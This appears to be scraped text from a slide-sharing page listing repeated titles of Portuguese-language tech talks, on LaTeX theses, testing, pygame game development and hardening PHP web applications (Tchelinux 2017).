O TCC... um dia ele chega! (The beautiful and easy LaTeX way.O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
O TCC... um dia ele chega! (The beautiful and easy LaTeX way.
 
Não deixe para testar depois o que você pode testar antes.
Não deixe para testar depois o que você pode testar antes. Não deixe para testar depois o que você pode testar antes.
Não deixe para testar depois o que você pode testar antes.
 
Desenvolvendo jogos com pygame
Desenvolvendo jogos com pygameDesenvolvendo jogos com pygame
Desenvolvendo jogos com pygame
 
Essa câmera faz fotos muito boas, né?
Essa câmera faz fotos muito boas, né?Essa câmera faz fotos muito boas, né?
Essa câmera faz fotos muito boas, né?
 

PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017